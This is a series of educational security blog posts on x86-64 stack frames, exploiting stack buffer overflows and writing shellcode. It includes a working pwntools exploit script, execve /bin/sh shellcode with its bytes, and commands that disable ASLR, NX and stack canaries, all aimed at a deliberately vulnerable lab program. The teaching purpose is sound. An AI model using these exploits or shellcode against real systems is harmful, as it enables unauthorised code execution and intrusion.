[rbp-0x18] 0x000000000000060b <+17>: mov DWORD PTR [rbp-0x4],eax 0x000000000000060e <+20>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000000611 <+23>: pop rbp 0x0000000000000612 <+24>: ret End of assembler dump. In this function we can see that there is no space reservation in the stack as in line 4 of the main disassembled function. We can see parameters copied above rsp in line 5 and 6. In this particular case, since these parameters are used just after it, there is no harm in coping them above rsp. Set a breakpoint in line 12. Once we hit the breakpoint, we can see that stack as follow: gef➤ dereference $rsp 0x00007fffffffdd18│+0x0000: 0x0000555555554631 → <main+30> mov DWORD PTR [rbp-0x4], eax ← $rsp 0x00007fffffffdd20│+0x0008: 0x00007fffffffde28 → 0x00007fffffffe1af → "/home/pippo/example64" 0x00007fffffffdd28│+0x0010: 0x00000001555544f0 0x00007fffffffdd30│+0x0018: 0x00007fffffffde20 → 0x0000000000000001 0x00007fffffffdd38│+0x0020: 0x0000000000000000 0x00007fffffffdd40│+0x0028: 0x0000555555554640 → <__libc_csu_init+0> push r15 ← $rbp In line 2, we can see that rsp is pointing toward the memory location of the instruction that needs to be executed when the program finished the execution of the multiplication function. (Here, the rbp point already to the previous memory frame and it is ready to resume the execution of the main.) This is the end of this stack walkthrough. I hope it was helpful, additional resources follows. Additional resources More to read about System V ABI: https://wiki.osdev.org/System_V_ABI

System security

Format String Vulnerability

TODO

System Security Resources

This is a collection of system security resources that I found it interesting. Web Tangled Web, A Guide to Securing Modern Web Applications. Michal Zalewski A fantastic guide to understand the web and the browser. It starts from a historic view of the web and evolves to cover the modern world. Threat modeling Threat Modeling: Designing for Security Adam Shostack The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities Mark Dowd, John McDonald, Justin Schuh Secure coding Secure Coding in C and C++ Robert C. Seacord A fantastic guide to really understand behind the hoods of a C/C++ program. It covers the explanations of different vulnerabilities but it does not guide you to exploit them. It covers the discussion on different coding standard, e.g., C99, OpenBSD and C11. One of the best book I have read. Exploitation Hacking, the Art of Exploitation Jon Erickson One of the bibles on exploitation. It covers shellcode, assembly, the exploitation of different vulnerabilities as well as some network and crypto attacks. Although the examples are mainly for 32 bit architecture, it is still a very good source of knowledge. The Shellcoder's Handbook: Discovering and Exploiting Security Holes Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte -- Reverse engineering Practical Malware Analysis, The Hands-On Guide to Dissecting Malicious Software Michael Sikorski and Andrew Honig A good introduction -- Practical Binary Analysis, Build Your Own Linux Tools for Instrumenting, Analyzing, and Disassembling Binaries Dennis Andriesse It covers entirely the binary and its parts. It is a fairly new book and most of the examples are on 64 bit architecture. It covers also dynamic taint analysis and symbolic execution with practical tools. The IDA Pro Book, The Unofficial Guide to the World's Most Popular Disassembler Chris Eagle Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation Bruce Dang, Alexandre Gazet, Elias Bachaalany, Sébastien Josse Reversing: Secrets of Reverse Engineering Eldad Eilam

Basic Stack-Based Buffer Overflow

In this article, I am going to show how to exploit a stack-based buffer overflow and the conditions that make this possible. For the purpose of this exercise, we are going to switch off 3 security features: Address Space Layout Randomization (ASLR) Non-executable stack (aka stack execution prevention, aka NX Bit) Stack canary (aka stack-protector) How to switch off ASLR To switch off ASLR: $ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' (Note that I didn’t do sudo echo 0 > /proc/sys/kernel/randomize_va_space because the output redirection command > will be performed as standard user but we need root permission to perform this operation.) How to switch off non-executable stack and stack canary security features To switch off the non-executable stack and the stack canary protections, we need to compile the program as follow: $ gcc -fno-stack-protector -z execstack -o overflow64 overflow64.c The use of the option -z execstack will prevent stack to be non-executable (i.e., it will be executable) while the option -fno-stack-protector disable the stack canary protection. Stack-based buffer overflow scheme The overflow of a variable positioned in the stack occurs when an operation is performed without checking the details of such operation resulting in a writing beyond the boundaries of such variable. When an operation write data on a buffer based on the stack beyond its limits, this operation can cause the overwriting of the return address of the function where this variable is allocated. This is because, as explained in The Stack, the local variables are above the return address as shown in the picture below. How we can exploit this situation? What can we write into the stack? The left stacks in both images represent a normal stack. The right stacks in both images represent a stack after the unsafe write operation. The unsafe operation started to write data from the top of the stack (where the stack variable is stored) and continue beyond its limit to overwrite the return address of the same function. This address is where the program expect to find the return address of the function. By overwriting this address we are able to to diverge the execution of the program. In this image, we can see that in the stack is written also some nop slides before the shellcode. These are only a series of nop operations, i.e., no-operation operation (0x90 in machine code). We use nop slide because sometimes it is difficult to the jump to the start of the shellcode. In this way it is possible to jump approximately before it. The nop operation is 1 byte long, and jumping to any byte address where these operations are located will not cause any error. This instruction is used because it does not do anything and it moves to the next operation. At the end of the nop slide the shellcode will be located and executed. The program to exploit This is the source code of the program that we are going to exploit: // file: overflow64.c #include<stdio.h> int main(int argc, char* argv[]) { char buff[20]; scanf("%s", buff); return 0; } In line 7, there is a vulnerable operation. Why vulnerable? Because it does not check the boundaries of the arrays that are being copied (check man scanf). Let’s compile this program as described in previously. The first thing we need to do is to crash the program. If we input more than 20 characters the program crash: $ ./overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) We can see that the terminal reports Segmentation fault. Let’s try to get a bit more details on this crash. The next step is to understand why it is crashing. By running dmesg: $ dmesg | tail ...... [13401.299114] overflow64[16566]: segfault at 616161616161 ip 0000616161616161 sp 00007fffffffddb0 error 14 in libc-2.27.so[7ffff79e4000+1e7000] The logs shown by dmesg show that the program named “overflow64” received a segfault (segmentation fault) when trying to access a memory location with address 616161616161. (When we run the program, we input a lot of “a” that in ASCII are represented with the hexadecimal value of 0x61. Is it a coincidence? Spoiler alert: no.) This happen because the program is trying to access a memory address that is not supposed to. Giving in input more “a"s we can incur in a different dmesg message: $ dmesg | tail ...... [13747.451995] traps: overflow64[16766] general protection ip:555555554697 sp:7fffffffdda8 error:0 in overflow64[555555554000+1000] In this case the message is referring to a general protection. What is this? In x86_64 bit architecture the maximum canonical address is currently 0x00007fffffffffff. Therefore even if an address is 64 bit long, current processor use only 48 bits of those. This was done because 48 bit address gives already an address space of 256 terabytes, therefore it will be enough for quite a long future. Therefore instead of wasting hardware and power resources, the hardware manufactures decided this way. The architecture design support 64 bit but the current hardware implementations do not. To gather even more information on the crash we can run the program within GDB. For this purpose I use GEF to have an easier access to debug information. $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7dd0560 → 0x00007ffff7dcc580 → 0x00007ffff7b9996e → 0x636d656d5f5f0043 ("C"?) $rdx : 0x00007ffff7dd18d0 → 0x0000000000000000 $rsp : 0x00007fffffffdcd8 → "aaaaaaaaaaaaaaaaaa" $rbp : 0x6161616161616161 ("aaaaaaaa"?) $rsi : 0x1 $rdi : 0x0 $rip : 0x0000555555554697 → <main+45> ret $r8 : 0x0 $r9 : 0x0 $r10 : 0x0 $r11 : 0x0000555555554726 → add BYTE PTR [rax], al $r12 : 0x0000555555554560 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffddb0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│+0x0000: "aaaaaaaaaaaaaaaaaa" ← $rsp 0x00007fffffffdce0│+0x0008: "aaaaaaaaaa" 0x00007fffffffdce8│+0x0010: 0x00007fffff006161 ("aa"?) 0x00007fffffffdcf0│+0x0018: 0x0000000100008000 0x00007fffffffdcf8│+0x0020: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdd00│+0x0028: 0x0000000000000000 0x00007fffffffdd08│+0x0030: 0x7d8cd030cadb6f2f 0x00007fffffffdd10│+0x0038: 0x0000555555554560 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555468c <main+34> call 0x555555554540 <__isoc99_scanf@plt> 0x555555554691 <main+39> mov eax, 0x0 0x555555554696 <main+44> leave → 0x555555554697 <main+45> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow64", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555554697 → main() ──────────────────────────────────────────────────────────────────────────────── 0x0000555555554697 in main () In line 47, this program stopped because received the SIGSEGV i.e., segmentation fault (see man 7 signal for more information on signals). In lines 41-45, you can see code information. You can see that the program stopped at the ret instruction. In lines 12-30, you can see registers information. In lines 32-39, you can see stack information. In line 7, we can see the input that we fed to the program. The ret takes the address pointed by the stack pointer (rsp) and continue the execution from there. The address that the program is trying to jump to is an invalid address that we overwrite when we overflow the address. Our goal is to be able to write in this address an arbitrary address so that we can divert the execution. We need to write an address that when executed its content will eventually execute our shellcode. With the help of GDB we can break in the main function and have a look at the stack address of the function: $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x66e gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcc0│+0x0000: 0x00005555555546a0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp 0x00007fffffffdcc8│+0x0008: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax 0x00007fffffffdcd0│+0x0010: 0x0000000000000001 0x00007fffffffdcd8│+0x0018: 0x00007fffffffdda8 → 0x00007fffffffe12f → "/home/pippo/ctf/lectures/basic_buffer_overflow/ove[...]" 0x00007fffffffdce0│+0x0020: 0x0000000100008000 0x00007fffffffdce8│+0x0028: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdcf0│+0x0030: 0x0000000000000000 0x00007fffffffdcf8│+0x0038: 0x34f880d1fbfab7e5 ────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555554665 <frame_dummy+5> jmp 0x5555555545d0 <register_tm_clones> 0x55555555466a <main+0> push rbp 0x55555555466b <main+1> mov rbp, rsp → 0x55555555466e <main+4> sub rsp, 0x30 0x555555554672 <main+8> mov DWORD PTR [rbp-0x24], edi 0x555555554675 <main+11> mov QWORD PTR [rbp-0x30], rsi 0x555555554679 <main+15> lea rax, [rbp-0x20] 0x55555555467d <main+19> mov rsi, rax 0x555555554680 <main+22> lea rdi, [rip+0x9d] # 0x555555554724 ...... Breakpoint 1, 0x000055555555466e in main () (The snippet shows only the interesting parts.) In line 11, we can see that the stack is currently at position 0x00007fffffffdcc0. The space of the local variable have not been allocated yet as shown in line 23. When we overflow the local variables we are going to write our shellcode around this address. In order to execute the shellcode we need to overwrite the return address of the function with our crafted address. The location of the return address to overwrite is relative to the buffer that we are overflowing depends on many things. It depends on the size of other local variables (and their positions compared to the overflowed one) the stack alignment, and to the presence of the stack canary. The best way to find the correct location is to try to input increasingly number of input until we can see that we overwrite the return address of the function. Once we find the offset of the return address, we need to point it to the shellcode. We have already found the location near where the shellcode will be located. What needs to be placed in the stack is a nop slide to help to reach our shellcode as shown previously. This is achieved with the following code (I am using Pwntools): # filename: exploit_overflow64.py from pwn import * import sys # process name to exploit process_path = "./overflow64" shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f" shellcode += "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57" shellcode += "\x54\x5f\x6a\x3b\x58\x0f\x05" # return address obtained by adding 0x30 to the top of the stack # maximum canonical address size is 0x00007FFFFFFFFFFF ret_addr = "\x00\x00\x7f\xff\xff\xff\xdd\x50"[::-1] payload = "A"*40 + ret_addr payload += "\x90" * 500 + shellcode # Writing payload to file to be used elsewhere (e.g., GDB) f = open("payload", 'w') f.write(payload) f.close() # start the program proc = process(process_path) # send payload proc.sendline(payload) # we need interact with the spawned shell proc.interactive() proc.close() In line 16, we can see that I am preparing the input to the scanf function writing 40 “A”, then the return address, then 500 nop operations and finally the shellcode. Now can can give the input to the function that will overflow the variable and write the correct return address. We can run it on GDB and break it just after the scanf function our stack will look like this: gef➤ dereference $rsp 20 0x00007fffffffdc90│+0x0000: 0x00007fffffffdda8 → 0x9090909090909090 ← $rsp 0x00007fffffffdc98│+0x0008: 0x0000000100000000 0x00007fffffffdca0│+0x0010: 0x4141414141414141 0x00007fffffffdca8│+0x0018: 0x4141414141414141 0x00007fffffffdcb0│+0x0020: 0x4141414141414141 0x00007fffffffdcb8│+0x0028: 0x4141414141414141 0x00007fffffffdcc0│+0x0030: 0x4141414141414141 ← $rbp 0x00007fffffffdcc8│+0x0038: 0x00007fffffffdd50 → 0x9090909090909090 0x00007fffffffdcd0│+0x0040: 0x9090909090909090 0x00007fffffffdcd8│+0x0048: 0x9090909090909090 0x00007fffffffdce0│+0x0050: 0x9090909090909090 The address below the rbp is the one that contains the return address that we overwrite when we overflow the variable and now it points to a location where nop are store. At the end of the nop there is the shellcode, when executed, the program is going to eventually execute the shellcode that was our initial goal

Build Your Own Shellcode

A shellcode is a piece of compiled code that, when executed, it is going to launch a shell. It is typically given as input to a program to be eventually executed. In this article, I am going to: Introduce background information to understand the overall process Create an assembly program that invoke an exit system call (exitcode) Create an assembly program that invoke a shellcode Background information The shellcode is a piece of code that operates on the lowest level of the system architecture, therefore some important details are architecture dependent. In order to be run on a target system we need to know low level system details of the target architecture. System call A system call is a way to invoke a function that is executed by the kernel. In Linux there are several way to invoke a system call, the most common ones are either by int 0x80 or by syscall. The int 0x80 method is the legacy way of invoking a system call. It is available both on x86 and x64 architectures but in modern architecture should be avoided because it is slower. The syscall is the default way of invoking a system call only available on x64 architectures. To invoke a syscall we need to know how interact with the system because each architecture has its own way to transition to kernel mode. On Ubuntu, the man page is a good place to start: $ man syscall. Here, you can see that each system call has a number associated to it. Under “Architecture calling conventions”, in the first table you can see that the x86-64 architecture requires the system call number to be placed in the rax register and the return value will be placed again in rax. In the second table, you can see in which register you need to place the parameters passed as arguments. To invoke a system call under the x86-64 architecture you need to place the parameters in rdi, rsi, rdx, r10, r8, r9 (in this order). If a system call needs more than 6 parameters you’ll have to place the other parameters on the stack. Now we need to know what are the numbers associated to the system calls. These numbers are defined usually located in the unistd_64.h file for 64 bit architecture (or in unistd_32.h file for 32 bit architecture). In Ubuntu 18.04 64 bit, the system call numbers for 64 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_64.h. (For 32 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_32.h.) Build Simple Example: exitcode In this example, we are going to build an assembly program to invoke the exit system call. Let’s start by looking at the manual $ man exit. (By doing $ man exit you are actually looking at the C function wrapper around the system call but the semantic and order of the parameters are kept.) This function terminates the running program and returns the integer passed as first parameter. To find the number of the exit system call we need to look at the unistd_64.h file. (Looking at the unistd_64.h file, the exit system call number is 60.) The system call number needs to place in the rax register. Now let’s write a simple assembly program with to invoke the exit system call: ; file: exit64.asm global _start section .text _start: mov rax, 0x3c mov rdi, 0x05 syscall In line 6, 0x3c is the hexadecimal number for the decimal number 60 i.e., the exit system call number. In line 7, 0x05 is the 1st parameter of the exit system call (i.e., the value returned when the program ends). Let’s now compile the code as: $ nasm -f elf64 -o exit64.o exit64.asm $ ld -o exit64 exit64.o If we execute the exit64 we can now see that the return value is indeed 5: $ ./exit64 $ echo $? 5 To test this program we can place its machine code into a test program (as in How to Test a Shellcode) To extract the machine code generated we can observe the decompiled code $ objdump -M intel -d exit64 exit64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b8 3c 00 00 00 mov eax,0x3c 400085: bf 05 00 00 00 mov edi,0x5 40008a: 0f 05 syscall $ The hexadecimal numbers in line 9, 10 and 11 (after the address) are the machine code generated from the assembly instructions that are shown in the same line. This is what you want to copy to the test program, i.e.: b8 3c 00 00 00 bf 05 00 00 00 0f 05. If you want to try to run this exitcode in a C test program follow How to Test a Shellcode. To enter an hexadecimal string into a C string use \x before the number, therefore the exitcode will be \xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05. What happen if you try to give this string in input to a program that has a buffer overflow vulnerability? Will this work? Try it on Basic Stack-Based Buffer Overflow) It will not work. Why? To give this string as input to a program we need few more things to take into account. In C a strings end with the null byte i.e., \0 i.e., \x00. The functions that interact with the user to input data stop when they reach the end of the string. (see man page for ) We can immediately see that the exit code contains a lot of null bytes and therefore the complete code will not be copied entirely by those functions. In circumstances the null bytes are not a problem but this is dependent on the input method used by a program. How to avoid null bytes? Let’s revise the exitcode: ; file: exit64_nnb.asm global _start section .text _start: mov al, 0x3c xor rdi,rdi inc di inc di inc di inc di inc di syscall With objdump we can see that this assembly code does not produce any null bytes: objdump -M intel -d ./exit64_nnb ./exit64_nnb: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b0 3c mov al,0x3c 400082: 48 31 ff xor rdi,rdi 400085: 66 ff c7 inc di 400088: 66 ff c7 inc di 40008b: 66 ff c7 inc di 40008e: 66 ff c7 inc di 400091: 66 ff c7 inc di 400094: 0f 05 syscall This is the code that we are able to give in input to a function that reads input data. Build the shellcode The easiest way to launch a shell is to invoke a the execve system call with the appropriate parameters (see $ man execve). The syscall execve wants 3 parameters. The first points to a string that is the path of the program that needs to be executed. The second parameter is an array of string pointers that point to the command line arguments of the program passed as first parameter. The third parameter is an array of environment variables as string. We want to launch the shell \bin\sh with no arguments. Let’s see the code that opens a shell by invoking an execve: ; file: execve64.asm global _start section .text _start: xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rdi,0x68732f6e69622f2f shr rdi,0x08 push rdi push rsp pop rdi push 0x3b pop rax syscall As described in the Background Information, the system call number needs to be placed in rax, while the parameters in rdi, rsi and then rdx. To correctly fill rdi with the first parameter we need a pointer to the string \bin\sh. This is achieved in line 10, 11 and 12. In line 10, I am moving into rdi the value 0x68732f6e69622f2f. This number is the hexadecimal equivalent of the string hs/nib//. This is the reverse string of //bin/sh (i.e., a shell string). Why the reverse string? If the architecture is little endian a number will be stored in a 8 bytes memory location starting to fill the smallest part of the memory first. In this way the hexadecimal byte 0x68 (of the value 0x68732f6e69622f2f) will be stored in the right most part of a memory, as: After executing line 12, the rsp will point to the first byte of the string, as: (You can see the byte order of your architecture with the command $ lscpu.) In line 11, I am shifting the string by 8 bits to the right. Why? Because this will fill the left hand side of the rdi register with zeros. Why this matter? Because every string in C is null terminated (i.e., terminated by a zero byte). I could have used the value of 0x68732f6e69622f00 in line 10 but this will generate a null byte in the machine code that is better to avoid if we aim to use this code as a string. In line 12, I am pushing the shell string to the stack. Why? On a running program, after executing line 12, the stack pointer register rsp will point to the shell string that is in the stack. For this reason, in line 13 I am saving the address of the stack pointer (rsp) by pushing it to the stack and, in line 14, I am popping out this address to the rdi register (i.e., the first parameter of the execve system call). In line 6,7 and 8 I am cleaning the registers (i.e., setting them to zero). In this way the second and third parameters are already set because we do not need to invoke the shell with any arguments and we do not need environment variables in this case. In line 17 and 18 I am placing the value 0x3b to the register rax because 0x3b is the value of the execve system call (see how to find this number in Background Information). Now, the last thing we need to do is to compile the code and extract the machine code generated, as: $ nasm -f elf64 -o execve64.o execve64.asm $ ld -o execve64 execve64.o $ objdump -M intel -d ./execve64 ./execve64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 ff xor rdi,rdi 400083: 48 31 f6 xor rsi,rsi 400086: 48 31 d2 xor rdx,rdx 400089: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 400090: 2f 73 68 400093: 48 c1 ef 08 shr rdi,0x8 400097: 57 push rdi 400098: 54 push rsp 400099: 5f pop rdi 40009a: 6a 3b push 0x3b 40009c: 58 pop rax 40009d: 0f 05 syscall To test this program we can place its machine code into a test program (as in How to Test a Shellcode). As we can see, there are no null bytes in the generated machine code, therefore this shellcode is suitable to be used as input in a buffer overflow, try it out on Basic Stack-Based Buffer Overflow. There are several ways to generate a shellcode and this one is just an example. The challenge in shellcoding is to write the smallest possible shellcode. This is the end of this shellcoding walkthrough. I hope it was helpful, additional resources follows. Additional resources More to read about syscall: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux More to read about exit system call: https://en.wikipedia.org/wiki/Exit_(system_call)

Hooking Shared Library

In this article I am going to explain how to create and hook a shared library.

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack 